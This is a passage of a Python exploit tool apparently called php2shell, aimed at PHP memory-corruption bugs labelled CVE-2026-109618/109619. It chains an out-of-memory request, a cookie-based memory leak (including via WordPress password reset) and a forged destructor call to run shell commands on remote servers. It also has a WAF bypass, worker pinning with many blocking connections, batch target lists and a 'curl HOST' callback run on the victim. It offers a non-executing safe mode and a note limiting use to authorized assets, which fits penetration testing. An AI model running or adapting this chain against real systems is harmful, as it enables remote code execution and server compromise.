                   or b"memory_limit" in resp_a.body)
            oom_seen = oom_seen or oom
            log(args, "[arm] %s (worker=W%d attempt=%d, OOM %s, %d MiB%s, %.2fs)"
                % ("OK" if oom else "NO-OOM", state["worker"], attempt,
                   "fired" if oom else "not observed", args.huge,
                   ", chunked" if args.chunked else "", resp_a.elapsed))
            time.sleep(args.stage_delay)
            body_b, bnd_b = build_leak_b(profile["leak_b"])
            resp_b = http_send(target, body_b, bnd_b, timeout=args.timeout,
                               bypass_ct=args.bypass_ct, path=path)
        finally:
            if pinned:
                pin.release()
        _, data = extract_cookie(resp_b, cookie_prefix)
        last_cookie_len = len(data) if data is not None else 0
        if data is None:
            last_err = "no_%s_cookie(status=%d,error=%s)" % (
                cookie_prefix.decode("latin1").strip("-"), resp_b.status,
                resp_b.error)
            log(args, "[leak] no cookie (status=%d err=%s cookies=%d)"
                % (resp_b.status, resp_b.error, len(resp_b.set_cookies)))
            continue
        info, why = analyzer(data, offs["dtor"])
        if info is None:
            last_err = why
            last_hex = data[:128].hex()
            log(args, "[leak] invalid disclosure: %s (%d bytes, prefix=%s)"
                % (why, last_cookie_len, last_hex))
            continue
        log(args, "[leak] libphp=%s chunk=%s (%d bytes, votes=%d/%d, worker=W%d, %.2fs)"
            % (hx(info["libphp_base"]) if info["libphp_base"] else "unknown",
               hx(info["chunk_base"]), info["cookie_bytes"], info["chunk_votes"],
               info["chunk_candidates"], state["worker"], time.time() - t0))
        return info, {"oom_fired": oom_seen, "attempts": attempt,
                      "channel": "wp-resetpass" if args.wp_channel else "phpsessid",
                      "path": path}, None
    return None, {"oom_fired": oom_seen, "attempts": args.retries}, {
        "reason": last_err or "unknown",
        "cookie_bytes": last_cookie_len,
        "prefix_hex": last_hex,
    }


# --------------------------------------------------------------------------
# Verification
# --------------------------------------------------------------------------
class CallbackListener:
    def __init__(self, listen_spec):
        self.host, self.port = self._parse(listen_spec)
        self.hit = None
        self._sock = None
        self._thread = None
        self._stop = threading.Event()
        self.error = None

    @staticmethod
    def _parse(spec):
        if spec.startswith("["):
            host, _, rest = spec[1:].partition("]")
            port = rest.lstrip(":")
        elif spec.count(":") == 1:
            host, port = spec.rsplit(":", 1)
        else:
            host, port = "127.0.0.1", spec
        return host or "0.0.0.0", int(port)

    def start(self):
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self._sock.bind((self.host, self.port))
        self._sock.listen(8)
        self._sock.settimeout(0.25)
        self._thread = threading.Thread(target=self._run, daemon=True)
        self._thread.start()

    def _run(self):
        while not self._stop.is_set():
            try:
                conn, addr = self._sock.accept()
            except socket.timeout:
                continue
            except OSError as exc:
                self.error = repr(exc)
                return
            try:
                conn.settimeout(1.0)
                data = conn.recv(4096).decode("latin1", "replace")
            except OSError:
                data = ""
            finally:
                conn.close()
            if self.hit is None:
                self.hit = {"peer": addr[0], "request": data.split("\r\n", 1)[0]}
        return

    def stop(self):
        self._stop.set()
        if self._sock:
            try:
                self._sock.close()
            except OSError:
                pass


def verify_fire(args, tag, target, listener=None):
    """Return (True, proof) / (False, '') / (None, '') when unverifiable."""
    if args.verify_cmd:
        cmd = (args.verify_cmd.replace("{tag}", shlex.quote(tag))
               .replace("{target}", shlex.quote(target.host)))
        deadline = time.time() + args.verify_timeout
        last_err = ""
        while time.time() < deadline:
            try:
                proc = subprocess.run(cmd, shell=True, capture_output=True,
                                      text=True, timeout=args.verify_timeout + 5)
            except (OSError, subprocess.TimeoutExpired) as exc:
                last_err = str(exc)
                proc = None
            if proc is not None:
                out = proc.stdout.strip()
                if out:
                    return True, out
                last_err = (proc.stderr or "").strip()
            time.sleep(0.25)
        if last_err:
            log(args, "[verify] no proof (%s)" % last_err.splitlines()[0][:160])
        return False, ""
    if listener is not None:
        deadline = time.time() + args.callback_wait
        while time.time() < deadline and listener.hit is None:
            time.sleep(0.1)
        if listener.hit:
            return True, "callback from %s: %s" % (listener.hit["peer"],
                                                   listener.hit["request"])
        return False, ""
    return None, ""


# --------------------------------------------------------------------------
# Safe mode
# --------------------------------------------------------------------------
def safe_probe(target, args, profile, offs, result, pin=None):
    retries = args.retries
    control = None
    leak_path = leak_target_path(args)
    path = leak_path or target.path
    analyzer = analyze_leak_any if args.wp_channel else analyze_leak
    cookie_prefix = args.wp_cookie_prefix_bytes if args.wp_channel else b"PHPSESSID"
    if args.control:
        if pin and pin.enabled:
            pin.acquire("control")
        try:
            body, bnd = build_leak_b(profile["leak_b"])
            resp = http_send(target, body, bnd, timeout=args.timeout,
                             bypass_ct=args.bypass_ct, path=path)
        finally:
            if pin and pin.enabled:
                pin.release()
        _, data = extract_cookie(resp, cookie_prefix)
        length = len(data) if data is not None else 0
        normal = 26 <= length <= 40
        control = {
            "request": "leak-B-alone",
            "cookie_bytes": length,
            "normal_session_id": normal,
            "status": resp.status,
            "ok": normal,
        }
        log(args, "[control] leak-B alone -> %d-byte cookie (%s)"
            % (length, "normal" if normal else "UNEXPECTED; channel ambiguous"))
        result["control"] = control

    last = None
    last_hex = None
    oom_seen = False
    last_cookie_len = 0
    for attempt in range(1, retries + 1):
        if attempt > 1:
            log(args, "[retry] stage=leak attempt=%d/%d" % (attempt, retries))
            wait_ready(target, args)
            time.sleep(args.retry_delay)
        if pin and pin.enabled:
            if not pin.acquire("leak%d" % attempt):
                last = "pin_failed"
                continue
        try:
            body_a, bnd_a = build_leak_a(profile["leak_a"], args.huge)
            resp_a = http_send(target, body_a, bnd_a, timeout=args.timeout,
                               bypass_ct=args.bypass_ct, chunked=args.chunked,
                               path=path)
            oom = (b"Allowed memory size" in resp_a.body
                   or b"memory_limit" in resp_a.body)
            oom_seen = oom_seen or oom
            log(args, "[arm] %s (attempt=%d, OOM %s, %d MiB%s, %.2fs)"
                % ("OK" if oom else "NO-OOM", attempt,
                   "fired" if oom else "not observed", args.huge,
                   ", chunked" if args.chunked else "", resp_a.elapsed))
            time.sleep(args.stage_delay)
            body_b, bnd_b = build_leak_b(profile["leak_b"])
            resp_b = http_send(target, body_b, bnd_b, timeout=args.timeout,
                               bypass_ct=args.bypass_ct, path=path)
        finally:
            if pin and pin.enabled:
                pin.release()
        _, data = extract_cookie(resp_b, cookie_prefix)
        last_cookie_len = len(data) if data is not None else 0
        info, why = (analyzer(data, offs["dtor"]) if data is not None
                     else (None, "no_cookie"))
        if info is not None:
            result["verdict"] = "VULNERABLE"
            result["verdict_detail"] = (
                "memory disclosure confirmed: %d-byte %s cookie yields the "
                "Zend MM base%s"
                % (info["cookie_bytes"],
                   "wp-resetpass" if args.wp_channel else "PHPSESSID",
                   " and the libphp base" if info["libphp_base"] else
                   " (libphp base requires --two-candidate replay)"))
            result["leak"] = {
                "attempts": attempt,
                "cookie_bytes": info["cookie_bytes"],
                "channel": "wp-resetpass" if args.wp_channel else "phpsessid",
                "libphp_base": hx(info["libphp_base"]) if info["libphp_base"] else None,
                "chunk_base": hx(info["chunk_base"]),
                "chunk_votes": info["chunk_votes"],
                "chunk_candidates": info["chunk_candidates"],
                "leak_hex": info["leak_hex"],
            }
            log(args, "[leak] libphp=%s chunk=%s (%d bytes, votes=%d/%d)"
                % (hx(info["libphp_base"]) if info["libphp_base"] else "unknown",
                   hx(info["chunk_base"]), info["cookie_bytes"],
                   info["chunk_votes"], info["chunk_candidates"]))
            return result
        last = why
        if data is not None:
            last_hex = data[:128].hex()
        log(args, "[leak] invalid disclosure: %s (%d bytes%s)"
            % (why, last_cookie_len,
               ", prefix=%s" % last_hex if last_hex else ""))

    result["leak"] = {
        "attempts": retries,
        "cookie_bytes": last_cookie_len,
        "reason": last,
        "prefix_hex": last_hex,
    }
    if oom_seen:
        result["verdict"] = "PARTIALLY_VULNERABLE"
        result["verdict_detail"] = (
            "OOM fires but no usable disclosure was observed (display_errors "
            "off, different SAPI/MPM, or a patched leak path). OOM alone is "
            "not code execution.")
    elif last_cookie_len >= 26:
        result["verdict"] = "NO_DISCLOSURE"
        result["verdict_detail"] = (
            "no disclosure; the target returned a normal %d-byte session id "
            "(probe signal: %s). This is not proof of patching: "
            "display_errors=Off or a different SAPI blocks this leak variant. "
            "Run with --control to verify the cookie channel."
            % (last_cookie_len, last))
    else:
        result["verdict"] = "NO_DISCLOSURE"
        result["verdict_detail"] = (
            "no disclosure and no OOM observed (probe signal: %s). This is not "
            "proof of patching (different PHP build, display_errors=Off, or "
            "request path rejected)." % last)
    return result


# --------------------------------------------------------------------------
# Full mode
# --------------------------------------------------------------------------
def make_command(args):
    if args.cmd:
        cmd = args.cmd
        source = "operator"
    elif args.callback:
        cb = args.callback
        hostport = urllib.parse.urlparse(cb).netloc if "://" in cb else cb
        cmd = "curl %s" % hostport
        source = "callback"
    else:
        tag = args.tag or ("p" + "".join(random.choices(string.hexdigits.lower(), k=5)))
        if not re.fullmatch(r"[A-Za-z0-9_.-]{1,6}", tag):
            raise ValueError("--tag must be 1-6 chars of [A-Za-z0-9_.-] "
                             "(it is embedded in id>/tmp/<tag>)")
        cmd = "id>/tmp/%s" % tag
        source = "tag"
    cmd = cmd.strip()
    if not cmd.isascii() or any(ord(c) < 32 or ord(c) == 127 for c in cmd):
        raise ValueError("command must be printable ASCII (no control bytes)")
    if len(cmd) > MAX_CMD:
        raise ValueError(
            "command is %d bytes; the fake-string carrier holds at most %d "
            "bytes (data+0x98). Shorten the tag/host or supply a shorter --cmd."
            % (len(cmd), MAX_CMD))
    return cmd, source


def candidate_bases(geo, args):
    """libphp base candidates: leaked base, or two 2 MiB options off the chunk.

    The deltas are signed and added to the leaked chunk base. Marven11's build
    maps libphp *below* the chunk (chunk-0x1800000 / chunk-0x1a00000); the
    8.5.11 lab maps it *above* (chunk+0x1a00000), so the sign belongs to the
    mapping order, not to the technique. --candidate-deltas overrides the pair.
    """
    deltas = args.candidate_deltas or [0x1800000, 0x1A00000]
    from_chunk = [geo["chunk_base"] + d for d in deltas]
    leaked = geo.get("libphp_base")
    if args.two_candidate:
        out = list(from_chunk)
        if leaked is not None and leaked not in out:
            # The chunk->libphp delta is ASLR-generation dependent (observed
            # +0x1a00000 and +0x1c00000 on the same build). When the leak does
            # carry pDestructor, keep the replay honest but append the leaked
            # base instead of discarding a known-good address.
            log(args, "[base] leaked libphp %s matches none of %s; appending it "
                      "as the last candidate"
                % (hx(leaked), ",".join(hx(d) for d in deltas)))
            out.append(leaked)
        return out
    if leaked is not None:
        return [leaked]
    # app-reflected channel without a pDestructor in the window
    log(args, "[base] leak carries no libphp pointer; falling back to the two "
              "2 MiB candidates")
    return from_chunk


def response_markers(args, resp, tag):
    """Proof markers visible in the fire response body (zif_passthru streams)."""
    body = resp.body
    markers = []
    if b"uid=" in body:
        markers.append("uid=")
    if b"GNU/Linux" in body:
        markers.append("uname")
    if tag and tag.encode() in body:
        markers.append("tag:%s" % tag)
    return markers


def fire_pair(target, args, profile, offs, state, pin, chunk_base, base, cmd):
    """One fire-A/fire-B pair against a pinned (or unpinned) worker."""
    htdata = chunk_base + offs["ht"]
    ctor = base + offs["terminal"]
    pinned = bool(pin and pin.enabled)
    if pinned and not pin.acquire("fire_%s" % hx(base)):
        return None, None, ctor, htdata
    t0 = time.time()
    try:
        body_a, bnd_a = build_fire_a(profile["fire_a"], args.huge)
        resp_a = http_send(target, body_a, bnd_a, timeout=args.timeout,
                           bypass_ct=args.bypass_ct, chunked=args.chunked)
        if resp_a.ok:
            a_state = "sent (status=%d)" % resp_a.status
        elif resp_a.error:
            a_state = "transport-error: %s" % resp_a.error
        else:
            a_state = "no-response"
        log(args, "[fire] arm-A %s (worker=W%d%s, %.2fs)"
            % (a_state, state["worker"], ", pinned" if pinned else "",
               resp_a.elapsed))
        time.sleep(args.stage_delay)
        body_b, bnd_b = build_fire_b_with_cmd(
            profile["fire_b"], htdata, ctor, cmd.encode(),
            ref_type=profile["fire_b"]["ref_type"])
        resp_b = http_send(target, body_b, bnd_b, timeout=args.timeout,
                           bypass_ct=args.bypass_ct)
    finally:
        if pinned:
            pin.release()
    log(args, "[fire] B sent -> %s=%s cmd=%r (status=%d err=%s, %.2fs)"
        % (offs["terminal"], hx(ctor), cmd, resp_b.status, resp_b.error,
           time.time() - t0))
    return resp_a, resp_b, ctor, htdata


def full_probe(target, args, profile, offs, result, listener=None, pin=None):
    cmd, cmd_source = make_command(args)
    tag = args.tag or cmd.replace("/", "_").replace(">", "_")
    result["command"] = {"cmd": cmd, "source": cmd_source, "tag": tag}
    log(args, "[*] command: %s (%d/%d bytes, %s)"
        % (cmd, len(cmd), MAX_CMD, cmd_source))
    if args.passthru:
        log(args, "[*] terminal: zif_passthru +%#x (streams to the response)"
            % offs["terminal"])

    state = {"worker": 1, "rotations": 0}
    last_leak_err = None
    all_candidates = []

    for fire_attempt in range(1, args.retries + 1):
        if fire_attempt > 1:
            log(args, "[retry] stage=fire attempt=%d/%d" % (fire_attempt, args.retries))
            if not (pin and pin.enabled):
                rotate_worker(target, args, profile, state)
            time.sleep(args.retry_delay)

        geo, arm_meta, leak_err = acquire_leak(target, args, profile, offs,
                                               state, pin=pin)
        if geo is None:
            last_leak_err = leak_err
            continue
        result["leak"] = {
            "attempts": arm_meta["attempts"],
            "channel": arm_meta.get("channel"),
            "path": arm_meta.get("path"),
            "cookie_bytes": geo["cookie_bytes"],
            "libphp_base": hx(geo["libphp_base"]) if geo["libphp_base"] else None,
            "chunk_base": hx(geo["chunk_base"]),
            "chunk_votes": geo["chunk_votes"],
            "chunk_candidates": geo["chunk_candidates"],
            "oom_fired": arm_meta["oom_fired"],
            "leak_hex": geo["leak_hex"],
        }
        result["addresses"] = {
            "chunk_base": hx(geo["chunk_base"]),
            "htdata": hx(geo["chunk_base"] + offs["ht"]),
            "r0": hx(geo["chunk_base"] + offs["r0"]),
        }
        if geo["libphp_base"]:
            result["addresses"]["libphp_base"] = hx(geo["libphp_base"])
        result["addresses"]["terminal"] = {
            "name": offs["terminal"],
            "offset": hx(offs["terminal"]),
        }

        if args.after_leak_cmd:
            log(args, "[hook] after-leak: %s" % args.after_leak_cmd)
            try:
                proc = subprocess.run(args.after_leak_cmd, shell=True,
                                      capture_output=True, text=True,
                                      timeout=args.timeout + 30)
                if proc.returncode != 0:
                    log(args, "[hook] exit=%d %s"
                        % (proc.returncode, (proc.stderr or "").strip()[:160]))
            except (OSError, subprocess.TimeoutExpired) as exc:
                log(args, "[hook] failed: %s" % exc)
            wait_ready(target, args)

        bases = candidate_bases(geo, args)
        if geo.get("libphp_base") is not None and args.two_candidate:
            deltas = args.candidate_deltas or [0x1800000, 0x1A00000]
            result["delta_check"] = {
                "leaked_libphp": hx(geo["libphp_base"]),
                "delta": hx(geo["libphp_base"] - geo["chunk_base"]),
                "candidate_deltas": [hx(d) for d in deltas],
                "matched": geo["libphp_base"] in
                           [geo["chunk_base"] + d for d in deltas],
            }
        result["candidates"] = []
        for idx, base in enumerate(bases):
            resp_a, resp_b, ctor, htdata = fire_pair(
                target, args, profile, offs, state, pin,
                geo["chunk_base"], base, cmd)
            if resp_b is None:
                result["candidates"].append({"index": idx, "base": hx(base),
                                             "error": "pin_failed", "ok": False})
                continue
            markers = response_markers(args, resp_b, tag)
            rec = {
                "index": idx,
                "base": hx(base),
                "chunk_base": hx(geo["chunk_base"]),
                "terminal": hx(ctor),
                "A": resp_a.status if resp_a and resp_a.ok else
                     (resp_a.error if resp_a else "none"),
                "B": resp_b.status,
                "B_bytes": len(resp_b.body),
                "B_error": resp_b.error,
                "markers": markers,
            }
            result["candidates"].append(rec)
            all_candidates.append(rec)
            log(args, "[fire] candidate %d base=%s -> B=%s bytes=%d markers=%s"
                % (idx, hx(base), resp_b.status, len(resp_b.body),
                   ",".join(markers) if markers else "-"))

            proof = None
            verifier = None
            if markers and args.in_response:
                proof = "response body: %s (B status=%d, %d bytes)" % (
                    ",".join(markers), resp_b.status, len(resp_b.body))
                verifier = "in-response"
            if proof is None and not (args.verify_cmd or listener or args.in_response):
                result["verdict"] = "FIRE_SENT_UNVERIFIED"
                result["verdict_detail"] = (
                    "fire pair sent; no verifier configured, so execution is not "
                    "proven. Use --in-response, --verify-cmd or "
                    "--callback/--listen.")
                result["fire"] = {
                    "attempt": fire_attempt,
                    "candidate": idx,
                    "fired": True,
                    "cmd": cmd,
                    "terminal": offs["terminal"],
                    "ctor": hx(ctor),
                    "proof": None,
                    "verifier": "none",
                    "response": resp_b.as_dict(),
                }
                log(args, "[fire] sent but unverified (no verifier configured)")
                return result
            if proof is None:
                ok, verified = verify_fire(args, tag, target, listener)
                if ok is True:
                    proof, verifier = verified, (
                        "verify-cmd" if args.verify_cmd else "callback")
            if proof is not None:
                rec["ok"] = True
                result["verdict"] = "RCE_CONFIRMED"
                result["verdict_detail"] = (
                    "command executed through %s; proof captured in the %s"
                    % (offs["terminal"], verifier))
                result["fire"] = {
                    "attempt": fire_attempt,
                    "candidate": idx,
                    "fired": True,
                    "cmd": cmd,
                    "terminal": offs["terminal"],
                    "terminal_offset": hx(offs["terminal"]),
                    "ctor": hx(ctor),
                    "proof": proof,
                    "verifier": verifier,
                    "response": resp_b.as_dict(),
                    "response_head": resp_b.body[:200].decode("latin1", "replace"),
                }
                log(args, "[fire] PROOF (%s): %s" % (verifier, proof))
                return result
            # A wrong candidate is expected to kill the pinned worker; Apache
            # forks the replacement from the same parent, so the chunk base and
            # the A/B geometry survive. Replay the next candidate as is.
            rec["ok"] = False
            if geo["libphp_base"] is not None and base == geo["libphp_base"]:
                break  # the leaked base failed; do not replay pointless guesses
            if idx + 1 < len(bases):
                alive = wait_ready(target, args)
                rec["alive_after_failure"] = alive
                log(args, "[base] candidate %d rejected (target %s); replaying "
                          "the other 2 MiB candidate against the same chunk "
                          "base on a fresh worker"
                    % (idx, "alive" if alive else "NOT-READY"))
        log(args, "[fire] no proof (attempt %d/%d) — retrying with a fresh chain"
            % (fire_attempt, args.retries))

    if all_candidates and (pin and pin.enabled):
        result["pin"] = pin.stats()
    result["verdict"] = "LEAK_FAILED" if last_leak_err else "FIRE_FAILED"
    result["verdict_detail"] = (
        "leak stage did not produce valid addresses: %s"
        % (last_leak_err.get("reason") if last_leak_err else "unknown")
        if last_leak_err else
        "fire stage sent %d time(s) without verifiable execution" % args.retries)
    return result


# --------------------------------------------------------------------------
# Target loading / driver
# --------------------------------------------------------------------------
def load_targets(args):
    targets = []
    for url in args.url or []:
        targets.append(url)
    for path in args.targets or []:
        with open(path) as fh:
            data = json.load(fh)
        if isinstance(data, dict):
            if "targets" in data and isinstance(data["targets"], list):
                data = data["targets"]
            else:
                data = list(data.keys())
        if not isinstance(data, list):
            raise SystemExit("%s: expected a JSON list or object" % path)
        for item in data:
            if isinstance(item, str):
                targets.append(item)
            elif isinstance(item, dict):
                url = item.get("target") or item.get("url")
                if url:
                    targets.append(url)
    # de-duplicate, preserve order
    seen = set()
    out = []
    for url in targets:
        if url not in seen:
            seen.add(url)
            out.append(url)
    if not out:
        raise SystemExit("no targets: pass -u URL or --targets FILE")
    return out


def base_result(mode, url):
    return {
        "tool": TOOL,
        "version": TOOL_VERSION,
        "mode": mode,
        "target": url,
        "timestamp": now(),
        "verdict": "ERROR",
        "verdict_detail": "",
    }


def adaptations_block(args, offmeta):
    return {
        "chunked_oom": bool(args.chunked),
        "terminal": offmeta.get("terminal"),
        "terminal_offset": offmeta.get("terminal_offset"),
        "multi_worker": args.multi_worker,
        "two_candidate": bool(args.two_candidate),
        "wp_channel": bool(args.wp_channel),
        "wp_path": args.wp_path if args.wp_channel else None,
        "wp_pads": args.wp_pads if args.wp_channel else None,
        "in_response": bool(args.in_response),
    }


def run_one(url, args, listener):
    result = base_result("safe" if args.safe else "full", url)
    t_start = time.time()
    pin = None
    try:
        target = Target(url)
        fp = fingerprint(target, args)
        result["fingerprint"] = fp
        if not fp["reachable"]:
            result["verdict"] = "UNREACHABLE"
            result["verdict_detail"] = fp.get("error") or "GET / failed"
            log(args, "[target] UNREACHABLE (%s)" % (fp.get("error") or "no response"))
            result["elapsed_s"] = round(time.time() - t_start, 3)
            return result
        log(args, "[target] %s (PHP %s, Server=%r)"
            % (str(target), fp.get("php_version_hint") or "?",
               fp.get("server") or "?"))
        try:
            offs, offmeta = resolve_offsets(args, fp)
        except OffsetError as exc:
            result["verdict"] = "UNSUPPORTED_VERSION"
            result["verdict_detail"] = str(exc)
            log(args, "[offsets] %s" % exc)
            result["elapsed_s"] = round(time.time() - t_start, 3)
            return result
        result["offsets"] = offmeta
        result["adaptations"] = adaptations_block(args, offmeta)
        log(args, "[offsets] profile=%s source=%s dtor=%s terminal=%s+%s ht=%s r0=%s"
            % (offmeta["profile"], offmeta["source"], offmeta["dtor"],
               offmeta["terminal"], offmeta["terminal_offset"],
               offmeta["ht"], offmeta["r0"]))
        if args.multi_worker:
            pin = WorkerPin(target, workers=args.multi_worker,
                            warmup=args.warmup,
                            probe_timeout=args.probe_timeout,
                            log_fn=lambda msg: log(args, msg))
            log(args, "[pin] worker affinity: up to %d blocking connections"
                % args.multi_worker)
        if result["mode"] == "safe":
            safe_probe(target, args, PROFILE_8511, offs, result, pin=pin)
        else:
            full_probe(target, args, PROFILE_8511, offs, result, listener, pin=pin)
        if pin is not None:
            result["pin"] = pin.stats()
    except (ValueError, OSError) as exc:
        result["verdict"] = "ERROR"
        result["verdict_detail"] = str(exc)
    finally:
        if pin is not None:
            pin.release()
    result["elapsed_s"] = round(time.time() - t_start, 3)
    return result


def main(argv=None):
    ap = argparse.ArgumentParser(
        prog=TOOL,
        description="php2shell (CVE-2026-109618/109619) safe oracle / full chain",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "Modes:\n"
            "  --safe   two-request disclosure oracle, no code execution\n"
            "  default  arm -> leak -> fire, benign marker command\n\n"
            "Output: JSON on stdout, progress on stderr.\n"
            "Authorized assets only.\n"))
    ap.add_argument("-u", "--url", action="append", help="target URL (repeatable)")
    ap.add_argument("--targets", action="append", metavar="FILE",
                    help="JSON list of URLs / [{'target':...}] / {url: ...}")
    ap.add_argument("--safe", action="store_true",
                    help="disclosure oracle only; never sends the fire pair")
    ap.add_argument("--control", action="store_true",
                    help="safe mode: send leak-B alone first as a negative control")
    ap.add_argument("--tag", help="marker tag; default command id>/tmp/<tag>")
    ap.add_argument("--cmd", help="override the terminal command (<=14 ASCII bytes)")
    ap.add_argument("--callback", metavar="HOST[:PORT]",
                    help="build 'curl HOST[:PORT]' as the command (must fit 14 bytes)")
    ap.add_argument("--verify-cmd", metavar="CMD",
                    help="local command run after fire; non-empty stdout = proof "
                         "({tag} and {target} are substituted)")
    ap.add_argument("--verify-timeout", type=float, default=5.0,
                    help="seconds to poll --verify-cmd (default 5)")
    ap.add_argument("--listen", metavar="[ADDR:]PORT",
                    help="run a local callback receiver; an inbound hit is proof")
    ap.add_argument("--callback-wait", type=float, default=5.0,
                    help="seconds to wait for a callback hit (default 5)")
    ap.add_argument("--offsets", metavar="K=V,...",
                    help="override offsets: dtor=,zif=,ht=,r0= (hex)")
    ap.add_argument("--libphp", metavar="PATH",
                    help="read zif_system/zval_ptr_dtor from a local libphp.so via nm")
    ap.add_argument("--force-shape", action="store_true",
                    help="probe builds whose request-shape profile is not calibrated "
                         "(refused by default; can produce false negatives)")
    ap.add_argument("--bypass-ct", action="store_true",
                    help="use 'multipart/form-data, boundary=' (comma) to defeat "
                         "Content-Type-anchored WAF signatures")
    ap.add_argument("--chunked", action="store_true",
                    help="send the arm (OOM) request with Transfer-Encoding: "
                         "chunked instead of Content-Length")
    ap.add_argument("--passthru", action="store_true",
                    help="use zif_passthru as the destructor terminal (streams "
                         "command output straight into the response)")
    ap.add_argument("--multi-worker", nargs="?", const=150, default=0,
                    type=int, metavar="N",
                    help="pin a single prefork worker with N blocking "
                         "connections (default 150) so the A/B pair stays on "
                         "one address space on stock multi-worker Apache")
    ap.add_argument("--warmup", type=float, default=3.0,
                    help="seconds to wait after opening the blockers (default 3)")
    ap.add_argument("--probe-timeout", type=float, default=1.5,
                    help="saturation probe timeout in seconds (default 1.5)")
    ap.add_argument("--two-candidate", action="store_true",
                    help="resolve the libphp base by replaying both 2 MiB "
                         "candidates (chunk+0x1800000, chunk+0x1a00000; "
                         "signed deltas via --candidate-deltas)")
    ap.add_argument("--candidate-deltas", metavar="D1,D2",
                    help="signed deltas added to the leaked chunk base (hex, "
                         "default 0x1800000,0x1a00000; use negatives when "
                         "libphp maps below the chunk)")
    ap.add_argument("--wp-channel", action="store_true",
                    help="send the leak pair to a WordPress reset-password "
                         "endpoint and read the wp-resetpass- cookie")
    ap.add_argument("--wp-path", default="/wp-login.php",
                    help="WordPress reset-password path (default /wp-login.php)")
    ap.add_argument("--wp-pads", type=int, default=125,
                    help="GET pad parameters for the WP-shaped leak request "
                         "(default 125, Marven11 f082 geometry)")
    ap.add_argument("--wp-cookie-prefix", default="wp-resetpass-",
                    help="Set-Cookie name prefix carrying the WP leak "
                         "(default wp-resetpass-)")
    ap.add_argument("--in-response", action="store_true",
                    help="treat uid=/uname/tag markers in the fire response "
                         "body as proof (zif_passthru streams output there)")
    ap.add_argument("--huge", type=int, default=24,
                    help="OOM field size in MiB (default 24; use 136 for memory_limit=128M)")
    ap.add_argument("--retries", type=int, default=DEFAULT_RETRIES,
                    help="attempts per stage (default 3)")
    ap.add_argument("--timeout", type=float, default=DEFAULT_TIMEOUT,
                    help="per-request timeout seconds (default 30)")
    ap.add_argument("--delay", type=float, default=1.0,
                    help="delay between targets in batch mode (default 1.0)")
    ap.add_argument("--retry-delay", type=float, default=0.5)
    ap.add_argument("--stage-delay", type=float, default=0.5,
                    help="delay between A and B of a pair (default 0.5)")
    ap.add_argument("--after-leak-cmd", metavar="CMD",
                    help="local shell command run after a successful leak, before "
                         "fire (self-test hooks, external orchestration)")
    ap.add_argument("--output", "-o", metavar="FILE", help="also write JSON to FILE")
    ap.add_argument("--quiet", "-q", action="store_true", help="no stderr progress")
    ap.add_argument("--version", action="version", version="%s %s" % (TOOL, TOOL_VERSION))
    args = ap.parse_args(argv)

    if args.retries < 1:
        ap.error("--retries must be >= 1")
    if args.huge < 1:
        ap.error("--huge must be >= 1")
    if args.multi_worker < 0:
        ap.error("--multi-worker must be >= 0")
    if args.wp_pads < 0:
        ap.error("--wp-pads must be >= 0")
    args.wp_cookie_prefix_bytes = args.wp_cookie_prefix.encode("latin1")
    if args.candidate_deltas:
        try:
            args.candidate_deltas = [int(x, 0) for x in args.candidate_deltas.split(",")]
        except ValueError:
            ap.error("--candidate-deltas wants comma-separated hex values")
        if len(args.candidate_deltas) < 1:
            ap.error("--candidate-deltas needs at least one value")
    else:
        args.candidate_deltas = [0x1800000, 0x1A00000]
    targets = load_targets(args)

    listener = None
    if args.listen:
        try:
            listener = CallbackListener(args.listen)
            listener.start()
            log(args, "[*] callback listener on %s:%d" % (listener.host, listener.port))
        except OSError as exc:
            print("cannot listen on %s: %s" % (args.listen, exc), file=sys.stderr)
            return 1

    if not args.safe:
        log(args, "[*] FULL CHAIN mode — executes a command on the target. "
                  "Authorized assets only.")
        if args.bypass_ct:
            log(args, "[*] comma Content-Type bypass enabled")

    results = []
    try:
        for i, url in enumerate(targets):
            log(args, "[%d/%d] %s" % (i + 1, len(targets), url))
            results.append(run_one(url, args, listener))
            if i + 1 < len(targets):
                time.sleep(args.delay)
    finally:
        if listener:
            listener.stop()

    payload = results[0] if len(results) == 1 else {
        "tool": TOOL,
        "version": TOOL_VERSION,
        "mode": "safe" if args.safe else "full",
        "timestamp": now(),
        "targets": results,
        "summary": summarize(results),
    }
    text = json.dumps(payload, indent=2, sort_keys=False)
    print(text)
    if args.output:
        with open(args.output, "w") as fh:
            fh.write(text + "\n")
        log(args, "[*] JSON written to %s" % args.output)

    successes = {"VULNERABLE", "RCE_CONFIRMED"}
    if any(r.get("verdict") in successes for r in results):
        return 0
    return 2


def summarize(results):
    counts = Counter(r.get("verdict", "ERROR") for r in results)
    return {"total": len(results), "verdicts": dict(counts)}


if __name__ == "__main__":
    sys.exit(main())